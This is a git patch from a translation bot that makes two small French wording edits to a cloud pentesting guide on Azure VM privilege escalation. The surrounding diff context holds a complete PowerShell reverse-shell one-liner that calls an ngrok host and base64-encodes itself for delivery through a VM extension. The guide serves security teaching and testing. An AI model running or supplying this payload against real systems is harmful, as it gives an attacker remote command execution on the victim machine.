From e35ae2937965be76dcbabba4da23d79087b5dffb Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Wed, 12 Feb 2025 14:27:20 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/azure-security/az-privilege-escalation

---
 .../az-virtual-machines-and-network-privesc.md                | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index d8fb80040..6cda6e09c 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -49,7 +49,7 @@ az vm extension set \
 
 {{#tab name="Windows" }}
 
-- Exécuter un shell inversé
+- Exécuter un reverse shell
 ```bash
 # Get encoded reverse shell
 echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
 
 <summary>Hybrid Runbook Worker</summary>
 
-C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
+C'est une extension de VM qui permet d'exécuter des runbooks dans des VM à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
 
 </details>